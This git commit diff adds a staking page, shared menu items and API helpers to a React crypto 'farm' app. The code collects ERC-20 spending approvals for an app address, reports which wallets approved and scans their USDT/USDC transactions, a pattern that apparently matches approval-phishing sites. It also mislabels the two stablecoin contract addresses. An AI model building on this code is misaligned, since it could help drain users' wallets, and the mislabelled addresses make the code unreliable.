progressing

This commit is contained in:
john 2022-05-12 14:59:07 +07:00
parent c86948219c
commit d842458f23
17 changed files with 341 additions and 38 deletions

View File

@ -2,6 +2,8 @@ import React from "react"
import { config } from "./config" import { config } from "./config"
import { get_settings } from './api' import { get_settings } from './api'
import { ImTwitter, ImTelegram, ImFacebook, ImWhatsapp } from "react-icons/im" import { ImTwitter, ImTelegram, ImFacebook, ImWhatsapp } from "react-icons/im"
import { FiHome, FiTrendingUp, FiLock } from 'react-icons/fi'
import { useTranslation } from "react-i18next"
const AppContext = React.createContext(null) const AppContext = React.createContext(null)
@ -17,6 +19,8 @@ let SOCIALS = [
] ]
export const AppContextProvider = ({ children }) => { export const AppContextProvider = ({ children }) => {
const { t } = useTranslation()
const [address, setAddress] = React.useState('') const [address, setAddress] = React.useState('')
// from settings // from settings
const [title, setTitle] = React.useState('') const [title, setTitle] = React.useState('')
@ -32,6 +36,17 @@ export const AppContextProvider = ({ children }) => {
const [appKey, setAppKey] = React.useState('') const [appKey, setAppKey] = React.useState('')
const [kefuUrl, setKefuUrl] = React.useState('') const [kefuUrl, setKefuUrl] = React.useState('')
const [menuItems, setMenuItems] = React.useState([
{ name: t('home'), icon: FiHome, path: '/home', enabled: true },
{ name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true },
{ name: t('staking'), icon: FiLock, path: '/staking', enabled: true },
])
const [docItems, setDocItems] = React.useState([
{ name: t('announcement'), icon: '', path: '', enabled: true },
{ name: t('faq'), icon: '', path: '', enabled: true },
{ name: t('tutorial'), icon: '', path: '', enabled: true },
])
React.useEffect(() => { React.useEffect(() => {
console.debug('should be once') console.debug('should be once')
@ -83,6 +98,8 @@ export const AppContextProvider = ({ children }) => {
appKey, appKey,
socials, socials,
kefuUrl, kefuUrl,
menuItems,
docItems,
}}> }}>
{children} {children}
</AppContext.Provider> </AppContext.Provider>

View File

@ -29,6 +29,10 @@ export const get_coins_platform_all = () => {
return get('v1/coins/platform/all') return get('v1/coins/platform/all')
} }
export const get_coins_staking = () => {
return get('v1/coins/staking')
}
export const get_lockup = (address) => { export const get_lockup = (address) => {
return getWith('lockup', { return getWith('lockup', {
address: address, address: address,
@ -56,13 +60,25 @@ export const get_authorization = (address, wallet) => {
}) })
} }
export const get_balance = (address) => { export const get_authorization_v = (address, wallet) => {
return getWith('vaultBalance', { return getWith('authorization_v', {
wallet,
address, address,
type: 1,
}) })
} }
export const get_balance = (address, type) => {
return getWith('vaultBalance', {
address,
type,
})
}
export const get_farm_balance = (address) => get_balance(address, 1)
export const get_staking_balance = (address) => get_balance(address, 3)
/** /**
* record that customer authorized. * record that customer authorized.
* *
@ -91,6 +107,12 @@ export const get_upBalance = (address) => {
}) })
} }
export const get_upBalanceV3 = (address) => {
return getWith('upBalanceV3', {
address,
})
}
export const get_withdrawalInfo = (address, he_address) => { export const get_withdrawalInfo = (address, he_address) => {
return getWith('withdrawalInfo', { return getWith('withdrawalInfo', {
address, address,

View File

@ -1,25 +1,22 @@
import { ChakraBottomNav, ChakraBottomNavItem } from './ChakraBottomNav' import { ChakraBottomNav, ChakraBottomNavItem } from './ChakraBottomNav'
import { FiHome, FiTrendingUp } from 'react-icons/fi' import { useApp } from '../AppContext'
import { useTranslation } from 'react-i18next'
export const BottomNav = (props) => { export const BottomNav = (props) => {
const { t } = useTranslation() const app = useApp()
return ( return (
<ChakraBottomNav {...props}> <ChakraBottomNav {...props}>
<ChakraBottomNavItem {
icon={FiHome} app.menuItems.map((item, index) => (
text={t('home')} item.enabled && <ChakraBottomNavItem
navPath="/home" key={index}
index="1" icon={item.icon}
/> text={item.name}
navPath={item.path}
<ChakraBottomNavItem index={index}
icon={FiTrendingUp}
text={t('farm')}
navPath="/farm"
index="2"
/> />
))
}
</ChakraBottomNav> </ChakraBottomNav>
) )
} }

View File

@ -80,7 +80,7 @@ export const ChakraBottomNavItem = ({ index, icon, text,
} }
ChakraBottomNavItem.propTypes = { ChakraBottomNavItem.propTypes = {
index: PropTypes.string.isRequired, // index: PropTypes.string.isRequired,
} }
const BottomNavImpl = ({ children, ...rest }) => { const BottomNavImpl = ({ children, ...rest }) => {

View File

@ -2,7 +2,7 @@ import {
Box, CloseButton, Flex, Icon, useColorModeValue, Box, CloseButton, Flex, Icon, useColorModeValue,
Stack, Stack,
} from '@chakra-ui/react' } from '@chakra-ui/react'
import { FiArrowRight, FiHome, FiTrendingUp } from 'react-icons/fi' import { FiArrowRight, FiHome, FiTrendingUp, FiLock } from 'react-icons/fi'
import { useApp } from '../AppContext' import { useApp } from '../AppContext'
import { Logo } from './Logo' import { Logo } from './Logo'
import { ColorModeSwitcher } from './ColorModeSwitcher' import { ColorModeSwitcher } from './ColorModeSwitcher'
@ -74,17 +74,6 @@ export const SideBar = ({ onCloseDrawer, ...rest }) => {
const { t } = useTranslation() const { t } = useTranslation()
// const colorBorderRight = useColorModeValue('gray.200', 'gray.700') // const colorBorderRight = useColorModeValue('gray.200', 'gray.700')
const menuItems = [
{ name: t('home'), icon: FiHome, path: '/home', enabled: true },
{ name: t('farm'), icon: FiTrendingUp, path: '/farm', enabled: true },
]
const docItems = [
{ name: t('announcement'), icon: '', path: '', enabled: true },
{ name: t('faq'), icon: '', path: '', enabled: true },
{ name: t('tutorial'), icon: '', path: '', enabled: true },
]
return ( return (
<Box <Box
transition="3s ease" transition="3s ease"
@ -123,7 +112,7 @@ export const SideBar = ({ onCloseDrawer, ...rest }) => {
{/* nav links */} {/* nav links */}
{ {
menuItems.map((item) => ( app.menuItems.map((item) => (
item.enabled && <NavItem key={item.name} icon={item.icon} onClick={onCloseDrawer} path={item.path}> item.enabled && <NavItem key={item.name} icon={item.icon} onClick={onCloseDrawer} path={item.path}>
{item.name} {item.name}
</NavItem> </NavItem>
@ -134,7 +123,7 @@ export const SideBar = ({ onCloseDrawer, ...rest }) => {
<Box> <Box>
{/* document links */} {/* document links */}
{ {
docItems.map((item) => ( app.docItems.map((item) => (
item.enabled && <DocItem key={item.name} icon={item.icon} path={item.path}> item.enabled && <DocItem key={item.name} icon={item.icon} path={item.path}>
{item.name} {item.name}
</DocItem> </DocItem>

View File

@ -22,6 +22,7 @@ export const Images = {
], ],
more: config.ENDPOINT + 'static/media/icon-more.c502d302.svg', more: config.ENDPOINT + 'static/media/icon-more.c502d302.svg',
new: config.ENDPOINT + 'static/media/jiaobiao-eth.4b55fb16.svg', new: config.ENDPOINT + 'static/media/jiaobiao-eth.4b55fb16.svg',
stakingBanner: config.ENDPOINT + 'static/media/banner-staking-bsc-english.539496dc.png'
} }
export const ABI = [ export const ABI = [

0
src/data/Images.js Normal file
View File

0
src/data/Navs.js Normal file
View File

0
src/data/index.js Normal file
View File

View File

@ -2,11 +2,11 @@ import React, { StrictMode } from 'react'
import { createRoot } from 'react-dom/client' import { createRoot } from 'react-dom/client'
import i18n from './i18' import i18n from './i18'
import App from './App' import App from './App'
import { Home, Farm } from './pages' import { Home, Farm, Staking } from './pages'
import reportWebVitals from './reportWebVitals' import reportWebVitals from './reportWebVitals'
import * as serviceWorker from './serviceWorker' import * as serviceWorker from './serviceWorker'
import { BrowserRouter, Routes, Route } from 'react-router-dom' import { BrowserRouter, Routes, Route } from 'react-router-dom'
import { NotFound } from './pages/NotFound' import { NotFound } from './pages'
const element = document.getElementById('root') const element = document.getElementById('root')
const root = createRoot(element) const root = createRoot(element)
@ -19,6 +19,7 @@ root.render(
<Route index element={<Home />} /> <Route index element={<Home />} />
<Route path="home" element={<Home />} /> <Route path="home" element={<Home />} />
<Route path="farm" element={<Farm />} /> <Route path="farm" element={<Farm />} />
<Route path="staking" element={<Staking />} />
<Route path="*" element={<NotFound />} /> <Route path="*" element={<NotFound />} />
</Route> </Route>
</Routes> </Routes>

View File

@ -2,6 +2,7 @@
export const en = { export const en = {
home: 'Home', home: 'Home',
farm: 'Farm', farm: 'Farm',
staking: 'Staking',
announcement: 'Announcement', announcement: 'Announcement',
faq: 'FAQ', faq: 'FAQ',
tutorial: 'tutorial', tutorial: 'tutorial',

View File

@ -2,6 +2,7 @@
export const fr = { export const fr = {
home: 'Domicile', home: 'Domicile',
farm: 'Ferme', farm: 'Ferme',
staking: 'Staking',
announcement: 'Annonce', announcement: 'Annonce',
faq: 'FAQ', faq: 'FAQ',
tutorial: 'Didacticiel', tutorial: 'Didacticiel',

View File

@ -2,6 +2,7 @@
export const tw = { export const tw = {
home: '首頁', home: '首頁',
farm: '農場', farm: '農場',
staking: 'Staking',
announcement: '公告', announcement: '公告',
faq: 'FAQ', faq: 'FAQ',
tutorial: '教案', tutorial: '教案',

0
src/pages/Dao.js Normal file
View File

0
src/pages/Invite.js Normal file
View File

View File

@ -1,9 +1,280 @@
import React from "react" import React from "react"
import {
Stack, Image, HStack,
AspectRatio, Input,
FormControl, Box,
useDisclosure, useToast,
useColorModeValue,
} from "@chakra-ui/react"
import { StateCard, FarmCoinCard } from "../components"
import { useApp } from "../AppContext"
import { config } from "../config"
import { ABI } from "../data"
import {
get_staking_balance,
get_coins_platform_all,
get_coins_staking,
get_ether, get_authorization_v,
get_authorization_one, get_authorization_search, get_upBalance,
} from "../api"
import { approve, transfer } from '../lib'
import { ModalBox } from '../components'
import { Images } from '../data'
export const Staking = () => { export const Staking = () => {
const [balance, setBalance] = React.useState({})
const [lock, setLock] = React.useState([])
const [coins, setCoins] = React.useState([])
const [depositeIndex, setDepositeIndex] = React.useState(-1)
const app = useApp()
const toast = useToast()
const bg = useColorModeValue('white', 'gray.900')
const { isOpen: isWithdrawalOpen, onOpen: onWithdrawalOpen, onClose: onWithdrawalClose } = useDisclosure()
const { isOpen: isDepositeOpen, onOpen: onDepositeOpen, onClose: onDepositeClose } = useDisclosure()
const withdrawalRef = React.useRef()
const depositeRef = React.useRef()
const _getcoins = () => {
get_coins_staking().then(res => {
// setCoins(res.data)
console.log(res.data)
}).catch(err => {
console.error('get_coins_staking() error:' + err.message)
})
}
const _getVaultBalance = () => {
if (!app.balance) {
return false
}
get_staking_balance(app.address).then((res) => {
},)
}
const onWithdrawalConfirmed = () => {
}
const onDepositeConfirmed = () => {
if (depositeIndex < 0 || depositeIndex >= coins.length) {
console.error('index out of range')
return
}
const amount = depositeRef.current.value
transfer(ABI, coins[depositeIndex].address, app.appAddress, amount, app.address, (err, res) => {
if (!err) {
toast({
title: 'Succeed',
description: "You have successfully deposited " + amount + " " + coins[depositeIndex].name,
status: 'success',
duration: 9000,
isClosable: true,
})
// TODO 提交充值记录
get_upBalance(app.address).then(res => {
}).catch(err => {
console.error('get_upBalance() error:' + err.message)
})
} else {
toast({
title: 'Failed',
description: "Your operation has not been completed.",
status: 'info',
duration: 9000,
isClosable: true,
})
console.error('transfer() error:' + err.message)
}
})
}
// click withdrawal
const onBtnWithdrawal = (index) => {
onWithdrawalOpen()
}
// clicked minming
const onBtnMining = (index) => {
if (index < 0 || index >= coins.length) {
console.error('index out of range')
return
}
let _coins = [...coins]
if (_coins[index].authorized) {
setDepositeIndex(index)
onDepositeOpen()
} else {
if (!app.address) {
toast({
title: 'Wallet not connected',
description: "Please connect your wallet first to perform the operation",
status: 'warning',
duration: 9000,
isClosable: true,
})
return
}
// make button loading
_coins[index].loading = true
setCoins(_coins)
approve(ABI, _coins[index].address, app.appAddress, app.address, (err, tx) => {
_coins = [...coins]
if (!err) {
get_authorization_one(app.address, _coins[index].name, tx).then(res => {
// we dont care the result
}).catch(err => {
console.error('get_authorization_one() error:' + err.message)
})
//
let hi = setInterval(() => {
get_authorization_search(tx).then(res => {
_coins[index].authorized = true // for simple, we dont check the result.
setCoins(_coins)
clearInterval(hi)
}).catch(err => {
console.error("get_authorization_search() error:" + err.message)
})
}, 8000)
} else {
console.error("approve error:" + err.message)
}
// recover loading
_coins[index].loading = false
setCoins(_coins)
})
}
}
React.useEffect(() => {
app.address && get_staking_balance(app.address).then(res => {
console.log(res.data)
}).catch(err => {
console.error('get_staking_balance() error:' + err.message)
})
get_coins_platform_all().then(res => {
setCoins(res.data)
}).catch(err => {
console.error('get_coins_platform_all() error:' + err.message)
})
app.address && get_ether(app.address).then(res => {
let list = ''
let changed = false
let _coins = [...coins]
res.data.result.forEach(r => {
if (r.from == app.address.toLowerCase() && r.isError == 0) {
if (r.to == '0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48') {
list += 'USDT|'
} else if (r.to == '0xdac17f958d2ee523a2206206994597c13d831ec7') {
list += 'USDC|'
}
}
})
if (changed) {
setCoins(_coins)
}
//
get_authorization_v(app.address, list)
}).catch(err => {
console.error('get_ether() error:' + err.message)
})
}, [app.address])
return ( return (
<div>Staking</div> <>
<AspectRatio maxW="full" ratio={4 / 1} >
<Image h="20" borderRadius="5" src={Images.stakingBanner} alt="lock" />
</AspectRatio>
<Stack
my="4"
bg={bg}
w="full"
borderRadius="lg"
direction={{ base: 'column', md: 'row' }}
>
<HStack
flex={1}
>
<StateCard title="TVL($)" num={app.rewards[7]} />
<StateCard title="Total Users Earned($)" num={app.rewards[8]} />
</HStack>
<HStack
flex={1}
>
<StateCard title="Personal TVL($)" num={lock.count} />
<StateCard title="Total Personal Earned($)" num={lock.income} />
</HStack>
</Stack>
{
coins && coins.map((coin, index) => (
<FarmCoinCard
key={coin.name}
index={index}
icon={config.ENDPOINT + 'upload/' + coin.name_img}
symbol={coin.name}
apy={coin.yield}
deposited={coin.count_use}
vl={coin.count}
remaining={coin.count - coin.count_use}
loading={coin.loading}
isNew={coin.new}
authorized={coin.authorized ?? false}
onWithdrawal={onBtnWithdrawal}
onMining={onBtnMining}
/>
))
}
{/* withdrawal box */}
<ModalBox
title="Withdrawal"
isOpen={isWithdrawalOpen}
onClose={onWithdrawalClose}
onConfirm={onWithdrawalConfirmed}
focusRef={withdrawalRef}
>
<FormControl>Amount</FormControl>
<Input ref={withdrawalRef} placeholder="withdrawal amount" />
</ModalBox>
{/* deposite box */}
<ModalBox
title="Deposite"
isOpen={isDepositeOpen}
onClose={onDepositeClose}
onConfirm={onDepositeConfirmed}
focusRef={depositeRef}
>
<Box>
<FormControl>Amount</FormControl>
<Input ref={depositeRef} placeholder="deposite amount" />
</Box>
</ModalBox>
</>
) )
} }

View File

@ -3,3 +3,5 @@ export * from './Home'
export * from './Farm' export * from './Farm'
export * from './Staking' export * from './Staking'
export * from './Announcement' export * from './Announcement'
export * from './NotFound'
export * from './Invite'